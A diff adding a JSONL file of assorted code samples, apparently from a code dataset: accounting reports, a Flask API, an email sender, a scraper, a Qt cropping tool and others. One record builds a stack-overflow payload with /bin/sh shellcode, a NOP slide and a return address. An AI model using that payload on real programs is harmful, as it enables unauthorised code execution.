diff --git "a/4147.jsonl" "b/4147.jsonl" new file mode 100644--- /dev/null +++ "b/4147.jsonl" @@ -0,0 +1,636 @@ +{"seq_id":"579921859","text":"#!/usr/bin/env python\n\nimport sys\nimport re\nimport datetime\n\nregexprime = \"((?:[1-9][0-9]*)?[0-9]{4})-(1[0-2]|0[1-9])-(3[0-1]|0[1-9]|[1-2][0-9])T(2[0-3]|[0-1][0-9]):([0-5][0-9]):([0-5][0-9])(Z|[+-](?:2[0-3]|[0-1][0-9]):[0-5][0-9])?\"\nregex = regexprime + \"\\n\"\n\npre_compile = datetime.datetime.now()\n\npattern = re.compile(regex)\nlno = 0\n\n# Start timing\nstart = datetime.datetime.now()\n\nfor line in sys.stdin:\n lno += 1\n m = pattern.match(line)\n if m:\n sys.stdout.write(\"{'year'='%s', 'month'='%s', 'day'='%s', 'hours'='%s', 'minutes'='%s', 'seconds'='%s', 'tz'='%s'}\\n\" %\n (m.group(1), m.group(2), m.group(3), m.group(4), m.group(5), m.group(6), m.group(7)))\n else:\n sys.stderr.write(\"match error on line %s\\n\" % str(lno))\n exit(1)\n\n# End timing\nend = datetime.datetime.now()\n\n# Elapsed time\nelaps = end - start\nelaps_compile = start - pre_compile\nelaps_ms = elaps.seconds * 1000 + elaps.microseconds / 1000\nelaps_compile_ms = elaps_compile.seconds * 1000 + elaps_compile.microseconds / 1000\n\nsys.stderr.write(\"\\ncompilation (ms): %s\\n\" % str(elaps_compile_ms))\nsys.stderr.write(\"matching (ms): %s\\n\" % str(elaps_ms))\n","sub_path":"bench/python/src/iso_datetime_to_json.py","file_name":"iso_datetime_to_json.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"282231237","text":"import time, calendar\nimport datetime\nimport string\nimport locale\nlocale.setlocale(locale.LC_ALL,'')\nfrom datetime import date\n\n@auth.requires_login()\ndef get_statement_of_account_form():\n session.account_code = ''\n _year = date.today().year\n _year1 = _year - 1\n _year2 = _year - 2 \n form = SQLFORM.factory(\n Field('account_code','string', length = 15),\n Field('year','string',length = 4, default=_year, requires = IS_IN_SET([(_year,_year),(_year1, _year1),(_year2,_year2)],zero = 'Choose Year')),\n Field('type','string',length = 4, requires = IS_IN_SET([('S','S - Summarized'),('D','D - Detailed')],zero = 'Choose Type')),\n Field('start_date','date', default = request.now),\n Field('end_date','date', default = request.now))\n return dict(form = form) \n\ndef patch_statement_of_account_id(): \n _id = db(db.General_Ledger.account_code == request.vars.account_code).select().first()\n response.js = \"alertify.error('%s Not found!')\" % (request.vars.account_code)\n if _id: \n session.account_code = request.vars.account_code\n response.js = \"$('#idPrint').removeAttr('disabled');$('#GEtbl').get(0).reload();alertify.success('Success!')\"\n\n@auth.requires_login()\ndef load_statement_of_account_grid():\n ctr = _balance = 0\n row = []\n head = THEAD(TR(TD('#'),TD('Date'),TD('Transaction'),TD('Type'),TD('Invoice No.'),TD('Description'),TD('Debit'),TD('Credit'),TD('Balance')),_class='bg-red')\n _ma = dc(dc.Master_Account.account_code == str(session.account_code)).select().first()\n _closing_balance = 0\n if _ma:\n _closing_balance = _ma.closing_balance\n for n in db(db.General_Ledger.account_code == session.account_code).select():\n ctr += 1\n _balance += n.debit - n.credit\n row.append(TR(\n TD(ctr),\n TD(n.transaction_date.strftime(\"%m/%d/%Y\")),\n TD(n.transaction_prefix_id.prefix,n.transaction_no),\n TD(n.transaction_type),\n TD(n.transaction_type_ref,n.account_reference_no), \n TD(n.description),\n TD(locale.format('%.2F',n.debit or 0, grouping = True),_align='right'),\n TD(locale.format('%.2F',n.credit or 0, grouping = True),_align='right'), \n TD(locale.format('%.2F',_balance or 0, grouping = True),_align='right'))) \n foot = TFOOT(TR(TD(),TD(),TD(),TD(),TD(),TD(),TD(),TD(),TD(locale.format('%.2F',_closing_balance or 0, grouping = True),_align='right')))\n body = TBODY(*row) \n table = TABLE(*[head, body, foot], _class='table table-stripe', _id='SOAtbl')\n return dict(table = table)\n\ndef validate_account_code_movement(form): \n _id = dc(dc.Master_Account.account_code == request.vars.account_code).select().first()\n if not _id:\n form.errors.account_code = 'Account code not found...'\n \n@auth.requires_login()\ndef get_account_code_movement_form():\n session.account_code = session.type = session.dept_code_id = session.entries = ''\n session.start_date = request.now\n session.end_date = request.now\n row = []\n ctr = _balance = _opening_balance = 0\n _year = date.today().year\n _year1 = _year - 1\n _year2 = _year - 2 \n session.account_no = ''\n form = SQLFORM.factory(\n Field('account_code','string', length = 15),\n Field('year','string',length = 4, default=_year, requires = IS_IN_SET([(_year,_year),(_year1, _year1),(_year2,_year2)],zero = 'Choose Year')),\n Field('dept_code_id','reference Department', ondelete = 'NO ACTION',label = 'Dept Code',requires = IS_IN_DB(dc, dc.Department.id,'%(dept_code)s - %(dept_name)s', zero = 'Choose Department')),\n Field('type','string',length = 4, requires = IS_IN_SET([('S','S - Summarized'),('D','D - Detailed')],zero = 'Choose Type')),\n Field('entries','string',length = 4, requires = IS_IN_SET([('Y','Y - Yes'),('N','N - No')],zero = 'Choose Entries')),\n Field('start_date','date', default = request.now),\n Field('end_date','date', default = request.now))\n return dict(form = form, account_no = session.account_no)\n\n@auth.requires_login()\ndef patch_account_card():\n _id = db(db.General_Ledger.account_code == request.vars.account_code).select().first()\n response.js = \"alertify.error('%s Not found!')\" % (request.vars.account_code)\n if _id: \n session.year = request.vars.year\n session.account_code = request.vars.account_code\n session.type = request.vars.type\n session.dept_code_id = request.vars.dept_code_id\n session.entries = request.vars.entries\n session.start_date = request.vars.start_date\n session.end_date = request.vars.end_date\n session.account_no = ''\n response.js = \"$('#ACtbl').get(0).reload();$('#idPrint').removeAttr('disabled');alertify.success('Success!')\"\n\n@auth.requires_login() \ndef load_account_card_grid(): \n ctr = _balance = _debit = _credit = 0\n row = []\n _account_name = ''\n _id = db(db.General_Ledger.account_code == session.account_code).select().first() # dc(dc.Master_Account.account_code == str(session.account_code)).select().first() \n if _id: \n \n _account_name = dc(dc.Master_Account.account_code == _id.account_code).select().first()\n _sub_group = '' \n if _account_name.account_sub_group_id:\n _sub_group = str(_account_name.account_sub_group_id.account_group_name) + ' - '\n _account_name = _sub_group,_account_name.account_name, ', ', SPAN(_account_name.account_code,_class='text-muted') \n _opening_balanced = opening_balance(session.year, session.account_code, session.dept_code_id)\n _closing_balanced = closing_balance(session.year, session.account_code, session.dept_code_id)\n\n head = THEAD(\n TR(TD('',_colspan='6'),TD(),TD(B('Opening Balance for department ', session.dept_code_id,' : ',locale.format('%.2F',_opening_balanced or 0, grouping = True)),_align='right',_colspan='4')),\n TR(TD(_account_name,_colspan='6'),TD(),TD(B('Opening Balance for all department : ',locale.format('%.2F',total_opening_balance(session.year, session.account_code) or 0, grouping = True)),_align='right',_colspan='4')),\n TR(TD('#'),TD('Date'),TD('TXN Reference'),TD('Type'),TD('Dept.'),TD('Loc.'),TD('A/C Reference'),TD('Description'),TD('Debit'),TD('Credit'),TD('Balance'),_class='bg-red')) \n if session.entries == 'N':\n _query = db((db.General_Ledger.account_code == session.account_code) & (db.General_Ledger.department == session.dept_code_id) & (db.General_Ledger.transaction_date >= session.start_date) & (db.General_Ledger.transaction_date <= session.end_date) & (db.General_Ledger.debit > 0) & (db.General_Ledger.credit > 0)).select() \n elif session.dept_code_id == '':\n _query = db((db.General_Ledger.account_code == session.account_code) & (db.General_Ledger.transaction_date >= session.start_date) & (db.General_Ledger.transaction_date <= session.end_date) & ((db.General_Ledger.debit > 0) | (db.General_Ledger.credit > 0))).select()\n else:\n _query = db((db.General_Ledger.account_code == session.account_code) & (db.General_Ledger.department == session.dept_code_id) & (db.General_Ledger.transaction_date >= session.start_date) & (db.General_Ledger.transaction_date <= session.end_date)).select() \n for n in _query:\n ctr += 1\n _balance += n.debit - n.credit \n _debit += n.debit\n _credit += n.credit\n row.append(TR(\n TD(ctr),\n TD(n.transaction_date.strftime(\"%m/%d/%Y\")),\n TD(n.gl_entry_ref),\n TD(n.transaction_type_ref),\n TD(n.department),\n TD(n.location),\n TD(n.transaction_type_ref,n.account_reference_no), \n TD(n.description), \n TD(locale.format('%.2F',n.debit or 0, grouping = True),_align='right'),\n TD(locale.format('%.2F',n.credit or 0, grouping = True),_align='right'), \n TD(locale.format('%.2F',_balance or 0, grouping = True),_align='right'))) \n body = TBODY(*row)\n footer = TFOOT(\n TR(TD(B('Closing Balance for department ', session.dept_code_id,' as of ',request.now.date(),' : ', locale.format('%.2F',_closing_balanced or 0, grouping = True)), _colspan='8'),TD(locale.format('%.2F',_debit or 0, grouping = True),_class='bg-gray-active color-palette', _align='right'),TD(locale.format('%.2F',_credit or 0, grouping = True),_class='bg-gray-active color-palette',_align='right'),TD(locale.format('%.2F',_balance or 0, grouping = True),_class='bg-gray-active color-palette',_align='right')),\n TR(TD(B('Closing Balance for all department as of ',request.now.date(),' : ',locale.format('%.2F',total_closing_balance(session.year, session.account_code) or 0, grouping = True)), _colspan='8'),TD(),TD(),TD()))\n table = TABLE(*[head, body, footer], _class='table table-striped table-hover', _id=\"ACtbl\") \n if session.type == 'S':\n ctr = _balance = 0\n row = []\n _debit = db.General_Ledger.debit.sum().coalesce_zero()\n _credit = db.General_Ledger.credit.sum().coalesce_zero()\n _account_name = dc(dc.Master_Account.account_code == session.account_code).select().first()\n head = THEAD(TR(TD('#'),TD('Start Date'),TD('End Date'),TD('Department'),TD('Account Code'),TD('Account Name'),TD('Debit'),TD('Credit'),TD('Total Amount'),TD()),_class='bg-red')\n for n in db((db.General_Ledger.account_code == session.account_code) & (db.General_Ledger.department == session.dept_code_id) & (db.General_Ledger.transaction_date >= session.start_date) & (db.General_Ledger.transaction_date <= session.end_date)).select(_debit, _credit, db.General_Ledger.account_code, db.General_Ledger.department, groupby=db.General_Ledger.department | db.General_Ledger.account_code ):\n ctr += 1\n \n _balance += n[_debit] - n[_credit]\n trnx_lnk = A(I(_class='fa fa-chart-bar'), _title='Transaction Row', _type=' button', _role='button', _class='btn btn-icon-toggle', callback=URL('reports','patch_general_ledger_id'))\n btn_lnk = DIV(trnx_lnk)\n row.append(TR(\n TD(ctr),\n TD(session.start_date),\n TD(session.end_date),\n TD(n.General_Ledger.department),\n TD(n.General_Ledger.account_code),\n TD(_account_name.account_name),\n TD(locale.format('%.3F',n[_debit] or 0, grouping = True),_align='right'),\n TD(locale.format('%.3F',n[_credit] or 0, grouping = True),_align='right'),\n TD(locale.format('%.3F',_balance or 0, grouping = True),_align='right'),\n TD(btn_lnk)))\n body = TBODY(*row)\n table = TABLE(*[head, body], _class='table table-bordered table-hover', _id='ACtbl') \n return dict(table = table)\n\n@auth.requires_login()\ndef patch_general_ledger_id():\n\n ctr = _balance = _total_debit = _total_credit = 0\n row = []\n head = THEAD(TR(TD('#'),TD('Date'),TD('Transaction'),TD('Type'),TD('Invoice No.'),TD('Description'),TD('Debit'),TD('Credit'),TD('Balance')),_class='bg-red')\n # _query = db((db.General_Ledger.account_code == session.account_code) & (db.General_Ledger.transaction_date >= request.vars.start_date) & (db.General_Ledger.transaction_date <= request.vars.end_date)).select() \n _query = db((db.General_Ledger.account_code == session.account_code) & (db.General_Ledger.transaction_date >= session.start_date) & (db.General_Ledger.transaction_date <= session.end_date)).select() \n for n in _query:\n ctr += 1\n _balance += n.debit - n.credit\n _total_debit += n.debit\n _total_credit += n.credit\n row.append(TR(\n TD(ctr),\n TD(n.transaction_date.strftime(\"%m/%d/%Y\")),\n TD(n.transaction_prefix_id.prefix,n.transaction_no),\n TD(n.transaction_type),\n TD(n.transaction_type_ref,n.account_reference_no), \n TD(n.description),\n TD(locale.format('%.3F',n.debit or 0, grouping = True),_align='right'),\n TD(locale.format('%.3F',n.credit or 0, grouping = True),_align='right'), \n TD(locale.format('%.3F',_balance or 0, grouping = True),_align='right'))) \n body = TBODY(*row)\n footer = TFOOT(TR(TD(_colspan='6'),TD(locale.format('%.3F',_total_debit or 0, grouping = True),_class='bg-gray-active color-palette',_align='right'),TD(locale.format('%.3F',_total_credit or 0, grouping = True),_class='bg-gray-active color-palette',_align='right'),TD(locale.format('%.3F',_balance or 0, grouping = True),_class='bg-gray-active color-palette',_align='right')))\n table = TABLE(*[head, body, footer], _class='table table-hover', _id=\"ACtbl\") \n response.js = \"alertify.alert().set({'startMaximized':true, 'title':'Details','message':'%s'}).show();\" %(XML(table, sanitize = True)) \n\n\n\n \n ","sub_path":"controllers/reports.py","file_name":"reports.py","file_ext":"py","file_size_in_byte":13099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"601236848","text":"import os\nimport struct\n\nshellcode = b\"\\x48\\x31\\xd2\\x52\\x48\\xb8\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x50\\x48\\x89\\xe7\\x52\\x57\\x48\\x89\\xe6\\x48\\x8d\\x42\\x3b\\x0f\\x05\"\n\nnopslidesize = int(input(\"nopslidesize:\"))\nnopsize = int(input(\"nopsize:\"))\nreturn_address = int(input(\"return_address:\"), 16)\n\npayload = b\"\\x90\" * nopslidesize\npayload += shellcode\npayload += b\"\\x90\" * (nopsize-len(payload))\npayload += struct.pack('')\napi.add_resource(GetCertainMovie, '/api/_id=')\napi.add_resource(GetRandomMovies, '/api/random=')\napi.add_resource(GetGenres, '/api/genres')\napi.add_resource(GetBoarding, '/api/genre=')\napi.add_resource(GetTotalBoarding, '/api/genre')\napi.add_resource(SearchTitle, '/api/title&page')\napi.add_resource(SearchCasts, '/api/casts&page')\napi.add_resource(SearchDirectors, '/api/directors&page')\napi.add_resource(SearchSummary, '/api/summary&page')\n\nif __name__ == '__main__':\n app.run(debug=True)","sub_path":"backend/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":4278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"170482325","text":"from Cryptodome.PublicKey import RSA\nfrom Cryptodome.Cipher import AES, PKCS1_OAEP\nimport os\n\npackage_directory = os.path.dirname(os.path.abspath(__file__))\nencrypted_dir=os.path.join(package_directory,\"encrypted_data\")\n\ndef load_encrypted_data(data_path, key_path):\n\n with open(key_path,\"r\", encoding=\"utf-8\") as f:\n private_key = RSA.import_key(f.read())\n\n with open(data_path, \"rb\") as f:\n enc_session_key, nonce, tag, ciphertext = \\\n [ f.read(x) for x in (private_key.size_in_bytes(), 16, 16, -1) ]\n\n # Decrypt the session key with the private RSA key\n cipher_rsa = PKCS1_OAEP.new(private_key)\n session_key = cipher_rsa.decrypt(enc_session_key)\n\n # Decrypt the data with the AES session key\n cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)\n data = cipher_aes.decrypt_and_verify(ciphertext, tag)\n return data.decode()\n\ndef get_email():\n key_path=os.path.join(encrypted_dir,\"private.pem\")\n data_path=os.path.join(encrypted_dir,\"encrypted_email.bin\")\n return load_encrypted_data(data_path, key_path)\n\ndef get_password():\n key_path=os.path.join(encrypted_dir,\"private.pem\")\n data_path=os.path.join(encrypted_dir,\"encrypted_pwd.bin\")\n return load_encrypted_data(data_path, key_path)","sub_path":"daig_server/encryption.py","file_name":"encryption.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"184931117","text":"\n# newton.py\n\nfrom __future__ import division\nimport numpy as np\n\n\ndef newton(f, fp, x_init, tol, max_):\n \"\"\"Docstring for Newton's method\n\n \"\"\"\n\n x_old = x_init\n eps = np.finfo(float).eps\n it = 0\n\n while it < max_:\n it = it + 1\n\n x_new = x_old - ( f(x_old) / fp(x_old) )\n\n abserr = abs(x_new - x_old)\n relerr = abserr / abs(x_new + eps)\n\n if abserr < tol and relerr < tol:\n break\n\n x_old = x_new\n\n return (x_new, it)\n","sub_path":"newton.py","file_name":"newton.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"81820591","text":"from setuptools import setup, find_packages\nfrom pathlib import Path\n\nif __name__ == \"__main__\":\n with Path(Path(__file__).parent, \"README.md\").open(encoding=\"utf-8\") as file:\n long_description = file.read()\n\n setup(\n name = 'clip_retrieval',\n packages = find_packages(),\n include_package_data = True,\n version = '2.2.0',\n license='MIT',\n description = 'Easily computing clip embeddings and building a clip retrieval system with them',\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n entry_points={\"console_scripts\": [\"clip-retrieval = clip_retrieval.cli:main\"]},\n author = 'Romain Beaumont',\n author_email = 'romain.rom1@gmail.com',\n url = 'https://github.com/rom1504/clip-retrieval',\n data_files=[(\".\", [\"README.md\"])],\n keywords = [\n 'machine learning',\n 'computer vision',\n 'download',\n 'image',\n 'dataset'\n ],\n install_requires=[\n 'clip-anytorch',\n 'tqdm',\n 'fire',\n 'torch',\n 'torchvision',\n 'numpy',\n 'faiss-cpu',\n 'flask',\n 'flask_restful',\n 'flask_cors',\n 'pandas',\n 'pyarrow',\n 'autofaiss',\n 'pyyaml',\n 'webdataset',\n 'h5py'\n ],\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Intended Audience :: Developers',\n 'Topic :: Scientific/Engineering :: Artificial Intelligence',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 3.6',\n ],\n )","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"29532067","text":"from fractions import Fraction\n\ndef find_lines(data, from_row, from_col):\n deltas = set()\n for row in range(len(data)):\n for col in range(len(data[row])):\n if row == from_row:\n dr, dc = 0, 1 if col > from_col else -1\n elif col == from_col:\n dr, dc = 1 if row > from_row else -1, 0\n else:\n fraction = Fraction(abs(row - from_row), abs(col - from_col))\n dr, dc = fraction.numerator, fraction.denominator\n if row < from_row:\n dr = -dr\n if col < from_col:\n dc = -dc\n deltas.add((dr, dc))\n for dr, dc in deltas:\n line = trace_line(data, from_row, from_col, dr, dc)\n if line:\n yield line\n\ndef trace_line(data, from_row, from_col, dr, dc):\n row, col = from_row + dr, from_col + dc\n if row not in range(len(data)) or col not in range(len(data[row])):\n return []\n return [(row, col)] + trace_line(data, row, col, dr, dc)\n\ndef count_visible(data, from_row, from_col):\n if data[from_row][from_col] != '#':\n return -1\n count = 0\n for line in find_lines(data, from_row, from_col):\n for row, col in line:\n if data[row][col] == '#':\n count += 1\n break\n return count\n\ndef main(data):\n best_count = max(\n count_visible(data, row, col)\n for row in range(len(data))\n for col in range(len(data[row])))\n print(best_count)\n\nif __name__ == '__main__':\n from input import day10\n data = day10.splitlines()\n main(data)","sub_path":"day10.py","file_name":"day10.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"65173250","text":"import smtplib\nimport spacy\nimport lib.utils.tools.time_convert as tc\nimport logging\nimport lib.utils.ner as ner\n\nfrom email.message import EmailMessage\nfrom lib.automate.followup import StringFollowup\nfrom lib.automate.modules import Module, NoSenderError\nfrom lib import Error\nfrom lib.settings import SETTINGS\nfrom datetime import datetime, timedelta\nfrom lib.utils.contacts import get_emails, prompt_contact_choice, NoContactFoundError\nfrom lib.utils.crypt import Crypt\n\n# Module logger\nlog = logging.getLogger(__name__)\n\n\nclass Send(Module):\n verbs = [\"send\", \"mail\", \"e-mail\", \"email\"]\n\n def __init__(self, model_pool):\n super(Send, self).__init__(model_pool)\n self.nlp_model = None\n\n def prepare(self, nlp_model_names, text, sender):\n if self.nlp_model is None:\n self.nlp_model = spacy.load(nlp_model_names[\"email\"])\n log.debug(\"Model loaded into memory\")\n to, when, body = self.nlp(text)\n self.description = \"\"\n return self.prepare_processed(to, when, body, sender)\n\n def prepare_processed(self, to, when, body, sender):\n crypt = Crypt()\n self.to = to\n self.when = when\n self.body = body\n\n if not sender:\n raise NoSenderError(\"No sender found!\")\n\n self.followup_type = None\n self.sender = sender\n self.settings = sender[\"email\"]\n self.username = self.settings.get(\"username\")\n self.password = crypt.decrypt(self.settings.get(\"password\")) if self.settings.get(\"password\") else None\n self.subject = body.partition(\"\\n\")[0]\n self.content = body + f\"\\n\\nRegards,\\n{sender['name']}\"\n\n if not to or len(to) == 0:\n return self.prompt_receiver()\n elif len(to) > 1:\n raise ToManyReceiversError(\"Can only handle one (1) receiver at this time\")\n if not body:\n return self.prompt_body()\n\n parsed_recipients = get_emails(self.to, sender)\n self.receiver = parsed_recipients[\"emails\"]\n\n for (name, candidates) in parsed_recipients[\"uncertain\"]:\n self.uncertain_attendee = (name, candidates)\n\n return prompt_contact_choice(name, candidates, self)\n for name in parsed_recipients[\"unknown\"]:\n raise NoContactFoundError(\"\\nCould not find any contacts with name \" + name)\n\n if len(self.receiver) == 1:\n self.description = f\"The email {self.subject} to {self.receiver[0]} was prepared.\\nDo you want to send it?\"\n else:\n self.description = (\n f\"The email {self.subject} to {self.receiver[0]} etc. was prepared.\\nDo you want to send it?\"\n )\n\n def execute(self):\n return self.send_email(self.settings, self.receiver, self.subject, self.content)\n\n def send_email(self, settings: dict, receiver: str, subject: str, content: str):\n msg = EmailMessage()\n msg[\"Subject\"] = subject\n msg[\"From\"] = settings[\"address\"]\n msg[\"To\"] = receiver\n msg.set_content(content)\n\n ssl_type = f\"SMTP{'_SSL' if settings['ssl'] else ''}\"\n smtp = getattr(smtplib, ssl_type)(host=settings[\"host\"], port=settings[\"port\"])\n\n # Dont try to authenticate if the smtp server used is local which is\n # assumed if the username or password is not specified\n if self.username and self.password:\n smtp.login(self.username, self.password)\n\n smtp.send_message(msg)\n smtp.quit()\n\n response = (\n \"Sent mail:\\n\"\n + f\"From: {settings['address']}\\n\"\n + f\"To: {msg['To']}\\n\"\n + f\"Subject: {msg['Subject']}\\n\"\n + f\"Message: {content}\"\n )\n\n return response\n\n def get_email(self, name: str) -> str:\n \"\"\"\n Retrieves the email of a user from the contact book in the settings file\n If no user is found, i.e. there are no key equal to the name given then an error is raised\n \"\"\"\n try:\n return SETTINGS[\"contacts\"][name][\"email\"][\"address\"]\n except KeyError:\n raise NoContactFoundError(\"No contact with name \" + name + \" was found\")\n\n def nlp(self, text):\n \"\"\"\n Lets the reminder model work on the given text.\n \"\"\"\n doc = self.nlp_model(text)\n\n to = []\n when = []\n body = []\n persons = []\n\n locked_ner_model = self.model_pool.get_shared_model(\"xx_ent_wiki_sm\")\n with locked_ner_model:\n persons = ner.get_persons(locked_ner_model.acquire_model(), text)\n\n for token in doc:\n if token.dep_ == \"TO\":\n to.append(token.text)\n elif token.dep_ == \"WHEN\":\n when.append(token.text)\n elif token.dep_ == \"BODY\":\n body.append(token.text)\n log.debug(\"%s %s\", token.text, token.dep_)\n\n to = ner.cross_check_names(to, persons)\n log.debug(\"Recipients: %s\", \",\".join(to))\n\n time = datetime.now()\n if len(when) == 0:\n time = time + timedelta(seconds=5)\n else:\n time = tc.parse_time(when)\n\n _body = \" \".join(body)\n\n return (to, time, _body)\n\n def prompt_receiver(self):\n def callback(followup):\n if not followup.answer:\n return self.prepare_processed(None, self.when, self.body, self.sender)\n else:\n return self.prepare_processed([followup.answer], self.when, self.body, self.sender)\n\n question = \"\\nFound no receiver. Please enter the name of the receiver\"\n return StringFollowup(question, callback)\n\n def prompt_body(self):\n def callback(followup):\n return self.prepare_processed(self.to, self.when, followup.answer, self.sender)\n\n question = \"\\nFound no message body. What message should be sent\"\n return StringFollowup(question, callback)\n\n\nclass ToManyReceiversError(Error):\n pass\n\n\nclass NoReceiverError(Error):\n pass\n","sub_path":"lib/automate/modules/send.py","file_name":"send.py","file_ext":"py","file_size_in_byte":6003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"46407867","text":"# coding=utf-8\nfrom django.core.management.base import BaseCommand\nfrom grab import Grab\nimport logging\nlogger = logging.getLogger('django.request')\nfrom topka.topmail.models import ParseData\nfrom datetime import datetime, timedelta\nimport json\n\n\nURLS = {\n 'http://www.championat.com': u\"Чемпионат.com - ведущий сайт о спорте\",\n 'http://www.sport-express.ru': u\"СПОРТ-ЭКСПРЕСС: Газета. Новостная лента. Live.\",\n 'http://rsport.ru': u\"Р-Спорт\",\n 'http://www.sport.ru': u\"SPORT.RU:\",\n 'http://www.eurosport.ru': u\"ЕВРОСПОРТ: Новости. Трансляции LIVE. Обзоры. Видео\",\n}\n\n\nclass Command(BaseCommand):\n def handle(self, *args, **options):\n g = Grab(user_agent=\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.71 Safari/537.36\",\n cookiefile='/tmp/topmail')\n res = []\n\n for page in xrange(50):\n g.go(\"http://top.mail.ru/Rating/Sport-Media/Today/Visitors/%d.html\" % (page + 1,))\n rows = g.css_list('.Rating tr')[1:]\n for row in rows:\n url = row.xpath('td[2]/a')[0].attrib['href']\n if url.endswith('/'):\n url = url[:-1]\n if url in URLS:\n t = [URLS[url]]\n for k in range(3, 6):\n txt = row.xpath('td[%d]' % k)[0].text_content()\n sp = txt.split(\"+\")\n delim = '+'\n if len(sp) != 2:\n sp = txt.split('-')\n delim = '-'\n if len(sp) != 2:\n sp = [txt[:-1], '0']\n delim = ''\n t.append(\"%s (%s%s)\" % (sp[0], delim, sp[1]))\n res.append(\";\".join(t))\n\n if len(res) >= len(URLS):\n break\n\n ParseData.objects.create(data=\"\\n\".join(res))\n\n","sub_path":"topka/topmail/management/commands/topmail.py","file_name":"topmail.py","file_ext":"py","file_size_in_byte":2042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"509924220","text":"#encoding:UTF-8\n\nimport os\nimport sys\nfrom tkinter.messagebox import showerror\n\nimport cv2\nimport math\nimport time\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import QWidget, QApplication, QPushButton\nfrom PyQt5.QtCore import Qt, QRect\nfrom enum import Enum\nfrom tkinter import *\nimport matplotlib.pyplot as plt\n# import kingidcard as kd\n\n# from kingidcard import detect_slant\n\n# kd.main()\n\nclass Animal(Enum):\n left = 0 # Sun的value被设定为0\n right = 1\n up = 2\n down = 3\n zoomout = 4\n zoomin = 5\n Sat = 6\nclass Window(QWidget):\n dstindex=0\n number=0\n pressright= 0\n pressdown= 0\n dstwidth=40\n count=0\n typte=0 #0是提取字 1是筛选图片\n def __init__(self):\n\n QWidget.__init__(self)\n self.setFixedSize(1000, 1000)\n self.largest_rect = QRect(0, 0, 1000, 1000)\n # self.clip_rect = QRect(50, 50, 350, 350)\n self.target_rect = QRect(150, 150, 80, 80)\n self.target_size= QPoint(80, 80)\n self.dragging = None\n self.drag_offset = QPoint()\n font = QFont()\n font.setPixelSize(80)\n self.frompath = r\"E:\\gtest\\id_generator\\src\\1000_id\\imgs\"\n self.topath = r\"E:\\gtest\\id_generator\\src\\data\\idpos\\\\\"\n self.negpath = r\"E:\\gtest\\id_generator\\src\\data\\idneg\\\\\"\n self.cnt = 0\n self.files = []\n for dirpath, dirnames, filenames in os.walk(self.frompath):\n for filename in filenames:\n filepath = dirpath + os.sep +filename\n self.files.append(filepath) \n #self.files = os.listdir(self.frompath)\n self.filelen = len(self.files)\n if not os.path.exists(self.topath + str(self.dstwidth)) and self.typte == 0:\n os.makedirs(self.topath + str(self.dstwidth))\n self.shownext()\n # fi = self.files[self.dstindex]\n # self.filePath= os.path.join(self.frompath, fi)\n #\n # if(os.path.getsize(r\"E:\\data\\whole\\3135.jpg\")<14000):\n #\n # self.image = cv2.imread(self.filePath)\n\n\n\n def shownext(self):\n if self.dstindex > self.filelen - 2:\n self.dstindex = self.filelen - 2\n self.dstindex = self.dstindex + 1\n fi = self.files[self.dstindex]\n if fi.endswith('.JPG') or fi.endswith('.jpg') or fi.endswith('.bmp') or fi.endswith('.jpeg') or fi.endswith('.png'):\n self.filePath = os.path.join(self.frompath, fi)\n if (os.path.getsize(self.filePath) < 14000):\n showerror(\"error\", fi + \":大小太小:\"+str(os.path.getsize(self.filePath)))\n os.remove(self.filePath)\n self.shownext()\n return\n self.image = cv2.imread(self.filePath)\n y, x = self.image.shape[:2]\n if y > 800 or x > 800:\n factor = max(x, y)/800\n y = int(y/factor)\n x = int(x/factor)\n self.image = cv2.resize(self.image, (x, y), interpolation=cv2.INTER_CUBIC)\n self.update()\n else:\n showerror(\"error\", fi + \":不是一张有效的图片\")\n def paintEvent(self, event):\n\n self.painter = QPainter()\n self.painter.begin(self)\n\n self.setWindowTitle( self.files[self.dstindex]+\" number:\"+str(self.number)+\" width:\"+str(self.target_rect.width()))\n cv_img_rgb = cv2.cvtColor(self.image, cv2.COLOR_BGR2RGB)\n\n height, width, channel = cv_img_rgb.shape\n bytesPerLine = 3 * width\n q_image = QImage(cv_img_rgb.data, width,height, bytesPerLine, QImage.Format_RGB888)\n self.largest_rect.setWidth(width)\n self.largest_rect.setHeight(height)\n self.painter.drawImage(self.largest_rect, q_image)\n # painter.fillRect(event.rect(), QBrush(Qt.white))\n self.painter.setRenderHint(QPainter.Antialiasing)\n self.painter.setPen(QPen(QBrush(Qt.red), 1, Qt.DashLine))\n # painter.drawRect(self.largest_rect)\n # self.painter.setPen(QPen(Qt.yellow))\n # self.painter.drawRect(self.clip_rect)\n self.painter.setPen(QPen(Qt.red))\n self.painter.drawRect(self.target_rect)\n\n # brush = QBrush(Qt.white)# QBrush(Qt.SolidPattern)\n # brush.setStyle(Qt.DiagCrossPattern)\n # self.painter.setBrush(brush)\n # self.painter.setClipRect(self.clip_rect)\n # self.painter.setBrush(QBrush(Qt.blue))\n # self.painter.drawPath(self.path)\n 